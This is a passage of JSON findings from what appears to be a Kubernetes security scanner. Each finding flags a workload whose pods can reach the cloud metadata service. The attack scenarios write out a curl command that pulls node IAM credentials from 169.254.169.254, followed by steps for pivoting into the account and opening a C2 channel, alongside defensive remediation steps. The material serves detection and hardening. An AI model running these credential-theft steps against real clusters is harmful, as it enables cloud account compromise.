      "name": "lp-wildcard-app",
      "namespace": "lp-fixtures",
      "api_group": "apps"
    },
    "namespace": "lp-fixtures",
    "scope": {
      "level": "workload",
      "detail": "Workload `Deployment/lp-fixtures/lp-wildcard-app`: egress to `169.254.169.254` is reachable."
    },
    "impact": "A compromised pod (RCE, leaked credential, sidecar SSRF) can scrape node IAM credentials from IMDS within seconds, escalating from container compromise to cloud-account compromise.",
    "attack_scenario": [
      "Attacker gains RCE in `Deployment/lp-fixtures/lp-wildcard-app` via an application vulnerability (e.g., SSRF, dependency exploit).",
      "They send an IMDSv1 request: `curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/`. The request is not blocked because no egress policy applies.",
      "They use the returned IAM credentials with `aws sts get-caller-identity` to confirm the role, then enumerate the cloud account (S3 buckets, RDS, IAM users).",
      "They exfiltrate secrets and pivot inside the cloud account using the worker node's role permissions.",
      "They optionally open an outbound C2 channel to attacker infrastructure; the same lack of egress restriction allows the outbound TLS connection."
    ],
    "evidence": {
      "reason": "no-egress-policy",
      "workload_kind": "Deployment",
      "workload_name": "lp-wildcard-app",
      "workload_namespace": "lp-fixtures"
    },
    "remediation": "Apply or tighten an egress NetworkPolicy in the workload's namespace that denies `169.254.169.254/32` explicitly, and pair it with IMDSv2 hop-limit = 1 at the node layer.",
    "remediation_steps": [
      "Apply a default-deny-egress policy in `lp-fixtures` (`podSelector: {}`, `policyTypes: [Egress]`).",
      "Add an explicit DNS allow policy (UDP/TCP 53 to kube-system) so application hostname resolution still works.",
      "For each workload that requires legitimate outbound, add a tight `to:` clause. Prefer `namespaceSelector + podSelector` for in-cluster destinations and an `ipBlock` with `except: [169.254.169.254/32]` for genuine internet reach.",
      "Validate from inside the pod: `kubectl exec lp-wildcard-app -n lp-fixtures -- curl --max-time 3 http://169.254.169.254/` must time out.",
      "On AWS, set the launch-template `HttpPutResponseHopLimit = 1` so IMDSv2 token requests from pods routed via the node's network namespace are denied at the hypervisor.",
      "Add a Kyverno or Gatekeeper policy that rejects any new NetworkPolicy whose egress ipBlock contains `169.254.169.254` without an `except:` carve-out."
    ],
    "references": [
      "https://kubernetes.io/docs/concepts/services-networking/network-policies/",
      "https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-IMDS-existing-instances.html",
      "https://blog.christophetd.fr/privilege-escalation-in-aws-elastic-kubernetes-service-eks-by-compromising-the-instance-role-of-worker-nodes/",
      "https://docs.tigera.io/calico/latest/reference/resources/globalnetworkpolicy"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — Network Policies",
        "url": "https://kubernetes.io/docs/concepts/services-networking/network-policies/"
      },
      {
        "title": "AWS — Use IMDSv2 and the metadata hop-limit",
        "url": "https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-IMDS-existing-instances.html"
      },
      {
        "title": "Christophe Tafani-Dereeper — EKS privilege escalation via worker node IAM",
        "url": "https://blog.christophetd.fr/privilege-escalation-in-aws-elastic-kubernetes-service-eks-by-compromising-the-instance-role-of-worker-nodes/"
      },
      {
        "title": "Calico GlobalNetworkPolicy reference",
        "url": "https://docs.tigera.io/calico/latest/reference/resources/globalnetworkpolicy"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1552.005",
        "name": "Cloud Instance Metadata API",
        "url": "https://attack.mitre.org/techniques/T1552/005/"
      },
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      },
      {
        "id": "T1041",
        "name": "Exfiltration Over C2 Channel",
        "url": "https://attack.mitre.org/techniques/T1041/"
      },
      {
        "id": "T1071",
        "name": "Application Layer Protocol",
        "url": "https://attack.mitre.org/techniques/T1071/"
      }
    ],
    "excluded": false,
    "tags": [
      "module:network_policy",
      "check:imdsReachable",
      "reason:no-egress-policy"
    ]
  },
  {
    "id": "KUBE-NETPOL-IMDS-001:Deployment:netpol-imds:imds-allow-app",
    "rule_id": "KUBE-NETPOL-IMDS-001",
    "severity": "HIGH",
    "score": 7.8,
    "category": "data_exfiltration",
    "title": "Workload `Deployment/netpol-imds/imds-allow-app` has an egress policy whose `ipBlock: 0.0.0.0/0` admits cloud IMDS (`169.254.169.254`)",
    "description": "Workload `Deployment/netpol-imds/imds-allow-app` is selected by NetworkPolicy `netpol-imds/allow-everywhere`, which contains an egress `to:` peer with `ipBlock.cidr: 0.0.0.0/0`. That CIDR includes `169.254.169.254` and the policy's `except:` list does not carve it out, so the cloud Instance Metadata Service is reachable from the selected pods.\n\nThis is the most common foot-gun in egress policies. Operators often add `ipBlock: 0.0.0.0/0` (or `169.254.0.0/16`, the full link-local range) to allow \"general internet\" or \"any AWS API\" reach, not realizing that the link-local IMDS endpoint is included in the same range. The defense is to add an `except: [169.254.169.254/32]` carve-out (or to use a narrower allow ipBlock that does not include link-local at all).\n\nOn AWS the second-layer defense is IMDSv2 with hop-limit = 1, which blocks pods on the host network from reaching IMDS via the node's address. But hop-limit only helps when the cluster-level NetworkPolicy is also in place; a pod with explicit egress to `0.0.0.0/0` can still construct an IMDSv2 request when the hop-limit allows it.",
    "resource": {
      "kind": "Deployment",
      "name": "imds-allow-app",
      "namespace": "netpol-imds",
      "api_group": "apps"
    },
    "namespace": "netpol-imds",
    "scope": {
      "level": "workload",
      "detail": "Workload `Deployment/netpol-imds/imds-allow-app`: egress to `169.254.169.254` is reachable."
    },
    "impact": "Despite having an egress NetworkPolicy in place, the workload retains a usable path to cloud IMDS. Container RCE -\u003e cloud-account compromise stays one curl away.",
    "attack_scenario": [
      "Attacker compromises a pod selected by `netpol-imds/allow-everywhere.spec.podSelector` (the policy that admits IMDS).",
      "They reach IMDS at `http://169.254.169.254/latest/meta-data/iam/security-credentials/` because the `ipBlock: 0.0.0.0/0` allow rule includes the IMDS IP.",
      "They exfiltrate the worker node's IAM credentials and pivot into the cloud account.",
      "The NetworkPolicy gives operators a false sense of \"egress is restricted\" while the most dangerous destination is still reachable.",
      "On AWS specifically, IMDSv2 hop-limit = 1 may have been deployed at the node level, but the NetworkPolicy's broad ipBlock means the pod can still issue an IMDSv2 token request that the hop-limit permits."
    ],
    "evidence": {
      "offender_cidr": "0.0.0.0/0",
      "offender_policy": "netpol-imds/allow-everywhere",
      "reason": "explicit-allow",
      "workload_kind": "Deployment",
      "workload_name": "imds-allow-app",
      "workload_namespace": "netpol-imds"
    },
    "remediation": "Apply or tighten an egress NetworkPolicy in the workload's namespace that denies `169.254.169.254/32` explicitly, and pair it with IMDSv2 hop-limit = 1 at the node layer.",
    "remediation_steps": [
      "Apply a default-deny-egress policy in `netpol-imds` (`podSelector: {}`, `policyTypes: [Egress]`).",
      "Add an explicit DNS allow policy (UDP/TCP 53 to kube-system) so application hostname resolution still works.",
      "For each workload that requires legitimate outbound, add a tight `to:` clause. Prefer `namespaceSelector + podSelector` for in-cluster destinations and an `ipBlock` with `except: [169.254.169.254/32]` for genuine internet reach.",
      "Validate from inside the pod: `kubectl exec imds-allow-app -n netpol-imds -- curl --max-time 3 http://169.254.169.254/` must time out.",
      "On AWS, set the launch-template `HttpPutResponseHopLimit = 1` so IMDSv2 token requests from pods routed via the node's network namespace are denied at the hypervisor.",
      "Add a Kyverno or Gatekeeper policy that rejects any new NetworkPolicy whose egress ipBlock contains `169.254.169.254` without an `except:` carve-out."
    ],
    "references": [
      "https://kubernetes.io/docs/concepts/services-networking/network-policies/",
      "https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-IMDS-existing-instances.html",
      "https://blog.christophetd.fr/privilege-escalation-in-aws-elastic-kubernetes-service-eks-by-compromising-the-instance-role-of-worker-nodes/",
      "https://docs.tigera.io/calico/latest/reference/resources/globalnetworkpolicy"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — Network Policies",
        "url": "https://kubernetes.io/docs/concepts/services-networking/network-policies/"
      },
      {
        "title": "AWS — Use IMDSv2 and the metadata hop-limit",
        "url": "https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-IMDS-existing-instances.html"
      },
      {
        "title": "Christophe Tafani-Dereeper — EKS privilege escalation via worker node IAM",
        "url": "https://blog.christophetd.fr/privilege-escalation-in-aws-elastic-kubernetes-service-eks-by-compromising-the-instance-role-of-worker-nodes/"
      },
      {
        "title": "Calico GlobalNetworkPolicy reference",
        "url": "https://docs.tigera.io/calico/latest/reference/resources/globalnetworkpolicy"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1552.005",
        "name": "Cloud Instance Metadata API",
        "url": "https://attack.mitre.org/techniques/T1552/005/"
      },
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      },
      {
        "id": "T1041",
        "name": "Exfiltration Over C2 Channel",
        "url": "https://attack.mitre.org/techniques/T1041/"
      },
      {
        "id": "T1071",
        "name": "Application Layer Protocol",
        "url": "https://attack.mitre.org/techniques/T1071/"
      }
    ],
    "excluded": false,
    "tags": [
      "module:network_policy",
      "check:imdsReachable",
      "reason:explicit-allow"
    ]
  },
  {
    "id": "KUBE-NETPOL-IMDS-001:Deployment:netpol-imds:imds-open-app",
    "rule_id": "KUBE-NETPOL-IMDS-001",
    "severity": "HIGH",
    "score": 7.8,
    "category": "data_exfiltration",
    "title": "Workload `Deployment/netpol-imds/imds-open-app` has no egress NetworkPolicy, so 169.254.169.254 (cloud IMDS) is reachable",
    "description": "Workload `Deployment/netpol-imds/imds-open-app` runs in namespace `netpol-imds` and is not selected by any NetworkPolicy with `policyTypes: [Egress]`. Kubernetes' default for non-isolated pods is allow-all egress, so this pod can open TCP/UDP connections to any destination, including the link-local cloud Instance Metadata Service at `169.254.169.254`.\n\nIMDS is the single most attacked egress destination in cloud Kubernetes. On AWS, a pod that can reach `169.254.169.254/latest/meta-data/iam/security-credentials/` can mint the node's IAM role credentials and pivot from container RCE to full cloud-account compromise. The same primitive exists on Azure (`169.254.169.254/metadata/instance`) and GCP (`metadata.google.internal`, served from the same link-local IP). IMDSv2 with `hop-limit = 1` (AWS) is the node-level defense, but a NetworkPolicy egress deny is the cluster-level defense and the only one a Kubernetes operator controls directly.\n\nThe fix is to put the workload under an egress NetworkPolicy that, at a minimum, denies the IMDS range. The strongest pattern is a namespace-wide default-deny-egress baseline plus narrow per-workload allow rules; the more incremental pattern is a single namespace-wide NetworkPolicy that selects `podSelector: {}` and lists every allowed peer except an `ipBlock 0.0.0.0/0` with `except: [169.254.169.254/32]`.",
    "resource": {
      "kind": "Deployment",
      "name": "imds-open-app",
      "namespace": "netpol-imds",
      "api_group": "apps"
    },
    "namespace": "netpol-imds",
    "scope": {
      "level": "workload",
      "detail": "Workload `Deployment/netpol-imds/imds-open-app`: egress to `169.254.169.254` is reachable."
    },
    "impact": "A compromised pod (RCE, leaked credential, sidecar SSRF) can scrape node IAM credentials from IMDS within seconds, escalating from container compromise to cloud-account compromise.",
    "attack_scenario": [
      "Attacker gains RCE in `Deployment/netpol-imds/imds-open-app` via an application vulnerability (e.g., SSRF, dependency exploit).",
      "They send an IMDSv1 request: `curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/`. The request is not blocked because no egress policy applies.",
      "They use the returned IAM credentials with `aws sts get-caller-identity` to confirm the role, then enumerate the cloud account (S3 buckets, RDS, IAM users).",
      "They exfiltrate secrets and pivot inside the cloud account using the worker node's role permissions.",
      "They optionally open an outbound C2 channel to attacker infrastructure; the same lack of egress restriction allows the outbound TLS connection."
    ],
    "evidence": {
      "reason": "no-egress-policy",
      "workload_kind": "Deployment",
      "workload_name": "imds-open-app",
      "workload_namespace": "netpol-imds"
    },
    "remediation": "Apply or tighten an egress NetworkPolicy in the workload's namespace that denies `169.254.169.254/32` explicitly, and pair it with IMDSv2 hop-limit = 1 at the node layer.",
    "remediation_steps": [
      "Apply a default-deny-egress policy in `netpol-imds` (`podSelector: {}`, `policyTypes: [Egress]`).",
      "Add an explicit DNS allow policy (UDP/TCP 53 to kube-system) so application hostname resolution still works.",
      "For each workload that requires legitimate outbound, add a tight `to:` clause. Prefer `namespaceSelector + podSelector` for in-cluster destinations and an `ipBlock` with `except: [169.254.169.254/32]` for genuine internet reach.",
      "Validate from inside the pod: `kubectl exec imds-open-app -n netpol-imds -- curl --max-time 3 http://169.254.169.254/` must time out.",
      "On AWS, set the launch-template `HttpPutResponseHopLimit = 1` so IMDSv2 token requests from pods routed via the node's network namespace are denied at the hypervisor.",
      "Add a Kyverno or Gatekeeper policy that rejects any new NetworkPolicy whose egress ipBlock contains `169.254.169.254` without an `except:` carve-out."
    ],
    "references": [
      "https://kubernetes.io/docs/concepts/services-networking/network-policies/",
      "https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-IMDS-existing-instances.html",
      "https://blog.christophetd.fr/privilege-escalation-in-aws-elastic-kubernetes-service-eks-by-compromising-the-instance-role-of-worker-nodes/",
      "https://docs.tigera.io/calico/latest/reference/resources/globalnetworkpolicy"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — Network Policies",
        "url": "https://kubernetes.io/docs/concepts/services-networking/network-policies/"
      },
      {
        "title": "AWS — Use IMDSv2 and the metadata hop-limit",
        "url": "https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-IMDS-existing-instances.html"
      },
      {
        "title": "Christophe Tafani-Dereeper — EKS privilege escalation via worker node IAM",
        "url": "https://blog.christophetd.fr/privilege-escalation-in-aws-elastic-kubernetes-service-eks-by-compromising-the-instance-role-of-worker-nodes/"
      },
      {
        "title": "Calico GlobalNetworkPolicy reference",
        "url": "https://docs.tigera.io/calico/latest/reference/resources/globalnetworkpolicy"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1552.005",
        "name": "Cloud Instance Metadata API",
        "url": "https://attack.mitre.org/techniques/T1552/005/"
      },
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      },
      {
        "id": "T1041",
        "name": "Exfiltration Over C2 Channel",
        "url": "https://attack.mitre.org/techniques/T1041/"
      },
      {
        "id": "T1071",
        "name": "Application Layer Protocol",
        "url": "https://attack.mitre.org/techniques/T1071/"
      }
    ],
    "excluded": false,
    "tags": [
      "module:network_policy",
      "check:imdsReachable",
      "reason:no-egress-policy"
    ]
  },
  {
    "id": "KUBE-NETPOL-IMDS-001:Deployment:psa-suppressed:psa-priv-app",
    "rule_id": "KUBE-NETPOL-IMDS-001",
    "severity": "HIGH",
    "score": 7.8,
    "category": "data_exfiltration",
    "title": "Workload `Deployment/psa-suppressed/psa-priv-app` has no egress NetworkPolicy, so 169.254.169.254 (cloud IMDS) is reachable",
    "description": "Workload `Deployment/psa-suppressed/psa-priv-app` runs in namespace `psa-suppressed` and is not selected by any NetworkPolicy with `policyTypes: [Egress]`. Kubernetes' default for non-isolated pods is allow-all egress, so this pod can open TCP/UDP connections to any destination, including the link-local cloud Instance Metadata Service at `169.254.169.254`.\n\nIMDS is the single most attacked egress destination in cloud Kubernetes. On AWS, a pod that can reach `169.254.169.254/latest/meta-data/iam/security-credentials/` can mint the node's IAM role credentials and pivot from container RCE to full cloud-account compromise. The same primitive exists on Azure (`169.254.169.254/metadata/instance`) and GCP (`metadata.google.internal`, served from the same link-local IP). IMDSv2 with `hop-limit = 1` (AWS) is the node-level defense, but a NetworkPolicy egress deny is the cluster-level defense and the only one a Kubernetes operator controls directly.\n\nThe fix is to put the workload under an egress NetworkPolicy that, at a minimum, denies the IMDS range. The strongest pattern is a namespace-wide default-deny-egress baseline plus narrow per-workload allow rules; the more incremental pattern is a single namespace-wide NetworkPolicy that selects `podSelector: {}` and lists every allowed peer except an `ipBlock 0.0.0.0/0` with `except: [169.254.169.254/32]`.",
    "resource": {
      "kind": "Deployment",
      "name": "psa-priv-app",
      "namespace": "psa-suppressed",
      "api_group": "apps"
    },
    "namespace": "psa-suppressed",
    "scope": {
      "level": "workload",
      "detail": "Workload `Deployment/psa-suppressed/psa-priv-app`: egress to `169.254.169.254` is reachable."
    },
    "impact": "A compromised pod (RCE, leaked credential, sidecar SSRF) can scrape node IAM credentials from IMDS within seconds, escalating from container compromise to cloud-account compromise.",
    "attack_scenario": [
      "Attacker gains RCE in `Deployment/psa-suppressed/psa-priv-app` via an application vulnerability (e.g., SSRF, dependency exploit).",
      "They send an IMDSv1 request: `curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/`. The request is not blocked because no egress policy applies.",
      "They use the returned IAM credentials with `aws sts get-caller-identity` to confirm the role, then enumerate the cloud account (S3 buckets, RDS, IAM users).",
      "They exfiltrate secrets and pivot inside the cloud account using the worker node's role permissions.",
      "They optionally open an outbound C2 channel to attacker infrastructure; the same lack of egress restriction allows the outbound TLS connection."
    ],
    "evidence": {
      "reason": "no-egress-policy",
      "workload_kind": "Deployment",
      "workload_name": "psa-priv-app",
      "workload_namespace": "psa-suppressed"
    },
    "remediation": "Apply or tighten an egress NetworkPolicy in the workload's namespace that denies `169.254.169.254/32` explicitly, and pair it with IMDSv2 hop-limit = 1 at the node layer.",
    "remediation_steps": [
      "Apply a default-deny-egress policy in `psa-suppressed` (`podSelector: {}`, `policyTypes: [Egress]`).",
      "Add an explicit DNS allow policy (UDP/TCP 53 to kube-system) so application hostname resolution still works.",
      "For each workload that requires legitimate outbound, add a tight `to:` clause. Prefer `namespaceSelector + podSelector` for in-cluster destinations and an `ipBlock` with `except: [169.254.169.254/32]` for genuine internet reach.",
      "Validate from inside the pod: `kubectl exec psa-priv-app -n psa-suppressed -- curl --max-time 3 http://169.254.169.254/` must time out.",
      "On AWS, set the launch-template `HttpPutResponseHopLimit = 1` so IMDSv2 token requests from pods routed via the node's network namespace are denied at the hypervisor.",
      "Add a Kyverno or Gatekeeper policy that rejects any new NetworkPolicy whose egress ipBlock contains `169.254.169.254` without an `except:` carve-out."
    ],
    "references": [
      "https://kubernetes.io/docs/concepts/services-networking/network-policies/",
      "https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-IMDS-existing-instances.html",
      "https://blog.christophetd.fr/privilege-escalation-in-aws-elastic-kubernetes-service-eks-by-compromising-the-instance-role-of-worker-nodes/",
      "https://docs.tigera.io/calico/latest/reference/resources/globalnetworkpolicy"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — Network Policies",
        "url": "https://kubernetes.io/docs/concepts/services-networking/network-policies/"
      },
      {
        "title": "AWS — Use IMDSv2 and the metadata hop-limit",
        "url": "https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-IMDS-existing-instances.html"
      },
      {
        "title": "Christophe Tafani-Dereeper — EKS privilege escalation via worker node IAM",
        "url": "https://blog.christophetd.fr/privilege-escalation-in-aws-elastic-kubernetes-service-eks-by-compromising-the-instance-role-of-worker-nodes/"
      },
      {
        "title": "Calico GlobalNetworkPolicy reference",
        "url": "https://docs.tigera.io/calico/latest/reference/resources/globalnetworkpolicy"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1552.005",
        "name": "Cloud Instance Metadata API",
        "url": "https://attack.mitre.org/techniques/T1552/005/"
      },
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      },
      {
        "id": "T1041",
        "name": "Exfiltration Over C2 Channel",
        "url": "https://attack.mitre.org/techniques/T1041/"
      },
      {
        "id": "T1071",
        "name": "Application Layer Protocol",
        "url": "https://attack.mitre.org/techniques/T1071/"
      }
    ],
    "excluded": false,
    "tags": [
      "module:network_policy",
      "check:imdsReachable",
      "reason:no-egress-policy"
    ]
  },
  {
    "id": "KUBE-NETPOL-IMDS-001:Deployment:psa-unlabeled-fixtures:psa-unlabeled-app",
    "rule_id": "KUBE-NETPOL-IMDS-001",
    "severity": "HIGH",
    "score": 7.8,
    "category": "data_exfiltration",
    "title": "Workload `Deployment/psa-unlabeled-fixtures/psa-unlabeled-app` uses `hostNetwork: true`, so 169.254.169.254 (cloud IMDS) is reachable regardless of NetworkPolicy",
    "description": "Workload `Deployment/psa-unlabeled-fixtures/psa-unlabeled-app` runs in namespace `psa-unlabeled-fixtures` with `spec.hostNetwork: true`, which means its pods share the node's network namespace. NetworkPolicies do not apply to host-network pods (they operate on the pod's own netns), so any egress restriction defined in this namespace is bypassed. The pod can open connections to `169.254.169.254` exactly as if it were running on the node directly.\n\nhostNetwork is commonly enabled for cluster infrastructure: CNI agents, monitoring daemons (`node-exporter`, Datadog Agent), log shippers, ingress controllers. These workloads usually need it, but they also become the highest-value pivot targets in the cluster because they sit on the node IAM identity with no NetPol gating.\n\nThe NetworkPolicy-layer defense does not exist for these pods. The only defenses are (a) keep their image surface area and RBAC tight so the pod is hard to compromise, (b) on AWS set IMDSv2 hop-limit = 1 at the nodegroup so even host-network requests through the node's NIC are denied at the hypervisor, and (c) where the workload truly does not need cloud credentials, drop `hostNetwork: true` in favor of a host-network-less alternative.",
    "resource": {
      "kind": "Deployment",
      "name": "psa-unlabeled-app",
      "namespace": "psa-unlabeled-fixtures",
      "api_group": "apps"
    },
    "namespace": "psa-unlabeled-fixtures",
    "scope": {
      "level": "workload",
      "detail": "Workload `Deployment/psa-unlabeled-fixtures/psa-unlabeled-app`: egress to `169.254.169.254` is reachable."
    },
    "impact": "A compromised host-network pod inherits the node's IMDS reachability with zero NetworkPolicy enforcement; container RCE -\u003e cloud-account compromise is a single curl, even when the namespace looks tightly locked down.",
    "attack_scenario": [
      "Attacker gains RCE in `Deployment/psa-unlabeled-fixtures/psa-unlabeled-app` (host-network pod, often a monitoring sidecar or CNI helper).",
      "They issue `curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/` from inside the pod. The request is served by the node's network stack, not the pod's, so any namespace-level egress NetworkPolicy is irrelevant.",
      "They scrape the node IAM role's STS credentials and call `aws sts get-caller-identity` to enumerate reach.",
      "They pivot into the cloud account: list other clusters' worker-node roles, read RDS secrets, enumerate S3 buckets, depending on the node IAM scope.",
      "The operator's NetworkPolicy is intact in `kubectl get netpol` and looks correct in dashboards, masking that this specific workload is exempt."
    ],
    "evidence": {
      "reason": "host-network",
      "workload_kind": "Deployment",
      "workload_name": "psa-unlabeled-app",
      "workload_namespace": "psa-unlabeled-fixtures"
    },
    "remediation": "NetworkPolicy cannot gate host-network pods. Drop `hostNetwork: true` if the workload does not strictly require it, otherwise enforce IMDSv2 hop-limit = 1 at the nodegroup so the IAM credentials path is denied at the hypervisor.",
    "remediation_steps": [
      "Audit why `Deployment/psa-unlabeled-fixtures/psa-unlabeled-app` needs `hostNetwork: true`. Common reasons (CNI helper, host-port log shipper) are legitimate; most application workloads do not.",
      "If hostNetwork is not strictly required, remove it from the pod template and re-deploy under namespace-level NetworkPolicy controls.",
      "If hostNetwork must stay, on AWS set the launch-template `HttpPutResponseHopLimit = 1` for the EKS nodegroup so IMDSv2 token requests originating from host-network pods are denied at the hypervisor (PacketTTL = 1 prevents the second hop the token request needs).",
      "Bind the workload's ServiceAccount to a least-privileged IRSA role so it never needs to fall back to the node IAM role.",
      "Validate from inside the pod: `kubectl exec psa-unlabeled-app -n psa-unlabeled-fixtures -- curl --max-time 3 http://169.254.169.254/latest/meta-data/iam/security-credentials/` must time out (it will succeed today)."
    ],
    "references": [
      "https://kubernetes.io/docs/concepts/services-networking/network-policies/",
      "https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-IMDS-existing-instances.html",
      "https://blog.christophetd.fr/privilege-escalation-in-aws-elastic-kubernetes-service-eks-by-compromising-the-instance-role-of-worker-nodes/",
      "https://docs.tigera.io/calico/latest/reference/resources/globalnetworkpolicy"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — Network Policies",
        "url": "https://kubernetes.io/docs/concepts/services-networking/network-policies/"
      },
      {
        "title": "AWS — Use IMDSv2 and the metadata hop-limit",
        "url": "https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-IMDS-existing-instances.html"
      },
      {
        "title": "Christophe Tafani-Dereeper — EKS privilege escalation via worker node IAM",
        "url": "https://blog.christophetd.fr/privilege-escalation-in-aws-elastic-kubernetes-service-eks-by-compromising-the-instance-role-of-worker-nodes/"
      },
      {
        "title": "Calico GlobalNetworkPolicy reference",
        "url": "https://docs.tigera.io/calico/latest/reference/resources/globalnetworkpolicy"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1552.005",
        "name": "Cloud Instance Metadata API",
        "url": "https://attack.mitre.org/techniques/T1552/005/"
      },
      {
        "id": "T1078.004",
        "name": "Valid Accounts: Cloud Accounts",
        "url": "https://attack.mitre.org/techniques/T1078/004/"
      },
      {
        "id": "T1041",
        "name": "Exfiltration Over C2 Channel",
        "url": "https://attack.mitre.org/techniques/T1041/"
      },
      {
        "id": "T1071",
        "name": "Application Layer Protocol",
        "url": "https://attack.mitre.org/techniques/T1071/"
      }
    ],
    "excluded": false,
    "tags": [
      "module:network_policy",
      "check:imdsReachable",
      "reason:host-network"
    ]
  },
  {
    "id": "KUBE-NETPOL-IMDS-001:Deployment:pv-hostpath-fixtures:pv-hostpath-app",
    "rule_id": "KUBE-NETPOL-IMDS-001",
    "severity": "HIGH",
    "score": 7.8,
    "category": "data_exfiltration",
    "title": "Workload `Deployment/pv-hostpath-fixtures/pv-hostpath-app` has no egress NetworkPolicy, so 169.254.169.254 (cloud IMDS) is reachable",
    "description": "Workload `Deployment/pv-hostpath-fixtures/pv-hostpath-app` runs in namespace `pv-hostpath-fixtures` and is not selected by any NetworkPolicy with `policyTypes: [Egress]`. Kubernetes' default for non-isolated pods is allow-all egress, so this pod can open TCP/UDP connections to any destination, including the link-local cloud Instance Metadata Service at `169.254.169.254`.\n\nIMDS is the single most attacked egress destination in cloud Kubernetes. On AWS, a pod that can reach `169.254.169.254/latest/meta-data/iam/security-credentials/` can mint the node's IAM role credentials and pivot from container RCE to full cloud-account compromise. The same primitive exists on Azure (`169.254.169.254/metadata/instance`) and GCP (`metadata.google.internal`, served from the same link-local IP). IMDSv2 with `hop-limit = 1` (AWS) is the node-level defense, but a NetworkPolicy egress deny is the cluster-level defense and the only one a Kubernetes operator controls directly.\n\nThe fix is to put the workload under an egress NetworkPolicy that, at a minimum, denies the IMDS range. The strongest pattern is a namespace-wide default-deny-egress baseline plus narrow per-workload allow rules; the more incremental pattern is a single namespace-wide NetworkPolicy that selects `podSelector: {}` and lists every allowed peer except an `ipBlock 0.0.0.0/0` with `except: [169.254.169.254/32]`.",
    "resource": {
      "kind": "Deployment",
      "name": "pv-hostpath-app",
      "namespace": "pv-hostpath-fixtures",
      "api_group": "apps"
    },
    "namespace": "pv-hostpath-fixtures",
    "scope": {
      "level": "workload",
      "detail": "Workload `Deployment/pv-hostpath-fixtures/pv-hostpath-app`: egress to `169.254.169.254` is reachable."
    },
    "impact": "A compromised pod (RCE, leaked credential, sidecar SSRF) can scrape node IAM credentials from IMDS within seconds, escalating from container compromise to cloud-account compromise.",
    "attack_scenario": [
      "Attacker gains RCE in `Deployment/pv-hostpath-fixtures/pv-hostpath-app` via an application vulnerability (e.g., SSRF, dependency exploit).",
      "They send an IMDSv1 request: `curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/`. The request is not blocked because no egress policy applies.",
      "They use the returned IAM credentials with `aws sts get-caller-identity` to confirm the role, then enumerate the cloud account (S3 buckets, RDS, IAM users).",
      "They exfiltrate secrets and pivot inside the cloud account using the worker node's role permissions.",
      "They optionally open an outbound C2 channel to attacker infrastructure; the same lack of egress restriction allows the outbound TLS connection."
    ],
    "evidence": {
      "reason": "no-egress-policy",
      "workload_kind": "Deployment",
      "workload_name": "pv-hostpath-app",
      "workload_namespace": "pv-hostpath-fixtures"
    },
    "remediation": "Apply or tighten an egress NetworkPolicy in the workload's namespace that denies `169.254.169.254/32` explicitly, and pair it with IMDSv2 hop-limit = 1 at the node layer.",
    "remediation_steps": [
      "Apply a default-deny-egress policy in `pv-hostpath-fixtures` (`podSelector: {}`, `policyTypes: [Egress]`).",
      "Add an explicit DNS allow policy (UDP/TCP 53 to kube-system) so application hostname resolution still works.",
      "For each workload that requires legitimate outbound, add a tight `to:` clause. Prefer `namespaceSelector + podSelector` for in-cluster destinations and an `ipBlock` with `except: [169.254.169.254/32]` for genuine internet reach.",
      "Validate from inside the pod: `kubectl exec pv-hostpath-app -n pv-hostpath-fixtures -- curl --max-time 3 http://169.254.169.254/` must time out.",
      "On AWS, set the launch-template `HttpPutResponseHopLimit = 1` so IMDSv2 token requests from pods routed via the node's network namespace are denied at the hypervisor.",
      "Add a Kyverno or Gatekeeper policy that rejects any new NetworkPolicy whose egress ipBlock contains `169.254.169.254` without an `except:` carve-out."
    ],
    "references": [
      "https://kubernetes.io/docs/concepts/services-networking/network-policies/",
      "https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-IMDS-existing-instances.html",
      "https://blog.christophetd.fr/privilege-escalation-in-aws-elastic-kubernetes-service-eks-by-compromising-the-instance-role-of-worker-nodes/",
      "https://docs.tigera.io/calico/latest/reference/resources/globalnetworkpolicy"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — Network Policies",
        "url": "https://kubernetes.io/docs/concepts/services-networking/network-policies/"
      },
      {
        "title": "AWS — Use IMDSv2 and the metadata hop-limit",
        "url": "https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-IMDS-existing-instances.html"
      },
      {
        "title": "Christophe Tafani-Dereeper — EKS privilege escalation via worker node IAM",
        "url": "https://blog.christophetd.fr/privilege-escalation-in-aws-elastic-kubernetes-service-eks-by-compromising-the-instance-role-of-worker-nodes/"
      },
      {
        "title": "Calico GlobalNetworkPolicy reference",
        "url": "https://docs.tigera.io/calico/latest/reference/resources/globalnetworkpolicy"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1552.005",
